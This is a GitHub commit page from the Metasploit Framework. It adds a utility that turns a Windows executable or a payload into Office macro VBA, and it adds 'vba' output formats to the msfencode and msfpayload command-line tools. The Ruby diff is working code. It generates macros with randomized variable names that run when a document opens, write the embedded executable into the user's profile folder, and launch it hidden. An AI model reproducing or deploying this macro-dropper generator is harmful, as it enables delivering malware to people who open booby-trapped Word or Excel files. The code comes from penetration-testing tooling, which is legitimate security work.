Skip to content

Commit

Permalink
Adds utlities for creating VBA scripts from an EXE (or payload)
Browse files Browse the repository at this point in the history
git-svn-id: file:///home/svn/framework3/trunk@5893 4d416f70-5f16-0410-b530-b9f4589650da
  • Loading branch information
HD Moore committed Nov 12, 2008
1 parent 4bd81c7 commit a70e982
Show file tree
Hide file tree
Showing 4 changed files with 138 additions and 17 deletions.
61 changes: 61 additions & 0 deletions lib/rex/text.rb
Expand Up @@ -679,7 +679,68 @@ def self.to_linux_x86_elf(code = "", note="")

return mo
end

def self.to_exe_vba(exe='')
vba = ""
pcs = (exe.length/2000)+1
idx = 0

var_bytes = rand_text_alpha(rand(8)+8)
var_initx = rand_text_alpha(rand(8)+8).capitalize

vba << "Dim #{var_bytes}(#{exe.length}) as Byte\r\n\r\n"
1.upto(pcs) do |pc|
max = 0
vba << "Sub #{var_initx}#{pc}()\r\n"

while(c = exe[idx] and max < 2000)
vba << "\t#{var_bytes}(#{idx}) = &H#{("%.2x" % c).upcase}\r\n"
idx += 1
max += 1
end
vba << "End Sub\r\n"
end

var_lname = rand_text_alpha(rand(8)+8)
var_lpath = rand_text_alpha(rand(8)+8)
var_appnr = rand_text_alpha(rand(8)+8)
var_datnr = rand_text_alpha(rand(8)+8)

vba << "Sub Auto_Open()\r\n"
vba << "\tDim #{var_appnr} As Integer\r\n"
vba << "\tDim #{var_datnr} As Integer\r\n"
vba << "\tDim #{var_lname} As String\r\n"
vba << "\tDim #{var_lpath} As String\r\n"
vba << "\t#{var_lname} = \"#{rand_text_alpha(rand(8)+8)}.exe\"\r\n"
vba << "\t#{var_lpath} = Environ(\"USERPROFILE\")\r\n"
vba << "\tChDrive (#{var_lpath})\r\n"
vba << "\tChDir (#{var_lpath})\r\n"
vba << "\t#{var_datnr} = FreeFile()\r\n"
vba << "\tOpen #{var_lname} For Binary Access Read Write As #{var_datnr}\r\n"

1.upto(pcs) do |pc|
vba << "\t#{var_initx}#{pc}\r\n"
end

vba << "\tPut #{var_datnr}, , #{var_bytes}\r\n"
vba << "\tClose #{var_datnr}\r\n"
vba << "\t#{var_appnr} = Shell(#{var_lname}, vbHide)\r\n"
vba << "End Sub\r\n"

vba << "Sub AutoOpen()\r\n"
vba << "\tAuto_Open\r\n"
vba << "End Sub\r\n"

vba << "Sub Workbook_Open()\r\n"
vba << "\tAuto_Open\r\n"
vba << "End Sub\r\n"

end

def self.to_win32pe_vba(code = "\xcc", note="")
to_exe_vba(to_win32pe(code, note))
end

##
#
# Generators
Expand Down
33 changes: 22 additions & 11 deletions msfencode
Expand Up @@ -15,7 +15,7 @@ $args = Rex::Parser::Arguments.new(
"-i" => [ true, "Encode the contents of the supplied file path" ],
"-m" => [ true, "Specifies an additional module search path" ],
"-a" => [ true, "The architecture to encode as" ],
"-t" => [ true, "The format to display the encoded buffer with (raw, ruby, perl, c)" ],
"-t" => [ true, "The format to display the encoded buffer with (raw, ruby, perl, c, exe, vba)" ],
"-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ],
"-s" => [ true, "The maximum size of the encoded data" ],
"-e" => [ true, "The encoder to use" ],
Expand Down Expand Up @@ -113,7 +113,7 @@ $args.parse(ARGV) { |opt, idx, val|
when "-s"
space = val.to_i
when "-t"
if (val =~ /^(perl|ruby|raw|c|exe)$/)
if (val =~ /^(perl|ruby|raw|c|exe|vba)$/)
fmt = val
else
$stderr.puts(OutError + "Invalid format: #{val}")
Expand Down Expand Up @@ -168,22 +168,33 @@ case cmd
# Print it out
$stderr.puts(OutStatus + "#{enc.refname} succeeded, final size #{raw.length}\n\n")

if(fmt != "exe")
case fmt
when 'exe'
exe = Rex::Text.to_win32pe(buf, "")
if(not output)
$stdout.print(Msf::Simple::Buffer.transform(raw, fmt))
$stdout.write(exe)
else
File.open(output, "wb") do |fd|
fd.write(Msf::Simple::Buffer.transform(raw, fmt))
end
end
else
fd.write(exe)
end
end
when 'vba'
exe = Rex::Text.to_win32pe(buf, "")
vba = Rex::Text.to_exe_vba(exe)
if(not output)
$stdout.write(exe)
$stdout.write(vba)
else
File.open(output, "wb") do |fd|
fd.write(exe)
fd.write(vba)
end
end
else
if(not output)
$stdout.print(Msf::Simple::Buffer.transform(raw, fmt))
else
File.open(output, "wb") do |fd|
fd.write(Msf::Simple::Buffer.transform(raw, fmt))
end
end
end

Expand All @@ -195,4 +206,4 @@ case cmd
}

$stderr.puts(OutError + "No encoders succeeded.")
end
end
25 changes: 19 additions & 6 deletions msfpayload
Expand Up @@ -32,7 +32,7 @@ end
$framework = Msf::Simple::Framework.create

if (ARGV.length <= 1)
puts "\n" + " Usage: #{$0} <payload> [var=val] <S[ummary]|C|P[erl]|[Rub]y|R[aw]|J[avascript]|e[X]ecutable>\n"
puts "\n" + " Usage: #{$0} <payload> [var=val] <S[ummary]|C|P[erl]|[Rub]y|R[aw]|J[avascript]|e[X]ecutable|[V]BA>\n"
puts dump_payloads
exit
end
Expand All @@ -57,10 +57,11 @@ cmd = ARGV.pop.downcase
# Populate the framework datastore
options = ARGV.join(',')

if (cmd =~ /^(p|y|r|c|j|x|b)/)
if (cmd =~ /^(p|y|r|c|j|x|b|v)/)
fmt = 'perl' if (cmd =~ /^p/)
fmt = 'ruby' if (cmd =~ /^y/)
fmt = 'raw' if (cmd =~ /^(r|x)/)
fmt = 'raw' if (cmd =~ /^v/)
fmt = 'c' if (cmd == 'c')
fmt = 'js_be' if (cmd =~ /^j/ and Rex::Arch.endian(payload.arch) == ENDIAN_BIG)
fmt = 'js_le' if (cmd =~ /^j/ and ! fmt)
Expand Down Expand Up @@ -89,8 +90,6 @@ if (cmd =~ /^(p|y|r|c|j|x|b)/)
arch = payload.arch
plat = payload.platform.platforms



if (arch.index(ARCH_X86))

# XXX: Automatically prepend stack adjustment
Expand Down Expand Up @@ -139,9 +138,23 @@ if (cmd =~ /^(p|y|r|c|j|x|b)/)
$stderr.puts "No executable format support for this arch/platform"
exit(-1)
end


if(cmd =~ /^v/)
exe = Rex::Text.to_win32pe(buf, '')
note =
"'Created by msfpayload (http://www.metasploit.com).\r\n" +
"'Payload: " + payload.refname + "\r\n" +
"' Length: " + buf.length.to_s + "\r\n" +
"'Options: " + options + "\r\n"

vba = note + "\r\n" + Rex::Text.to_exe_vba(exe)
$stdout.write(vba)
exit(0)
end

$stdout.puts(buf)



elsif (cmd =~ /^(s|o)/)
payload.datastore.import_options_from_s(ARGV.join('_|_'), '_|_')
puts Msf::Serializer::ReadableText.dump_module(payload)
Expand Down
36 changes: 36 additions & 0 deletions tools/exe2vba.rb
@@ -0,0 +1,36 @@
#!/usr/bin/env ruby
#
# This script converts an EXE to a VBA script for Word/Excel
# Credit to PriestMaster for the original C code
#

msfbase = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__
$:.unshift(File.join(File.dirname(msfbase), '..', 'lib'))

require 'rex'

def usage
$stderr.puts(" Usage: #{$0} [exe] [vba]\n")
exit
end

exe = ARGV.shift
vba = ARGV.shift

if (not (exe and vba))
usage
end

out = File.new(vba, "w")
inp = File.open(exe, "rb")

dat = ""
while(buf = inp.read(8192))
dat << buf
end

out.write(Rex::Text.to_exe_vba(dat))
out.close
inp.close

$stderr.puts "[*] Converted #{dat.length} bytes of EXE into a VBA script"

0 comments on commit a70e982

Please sign in to comment.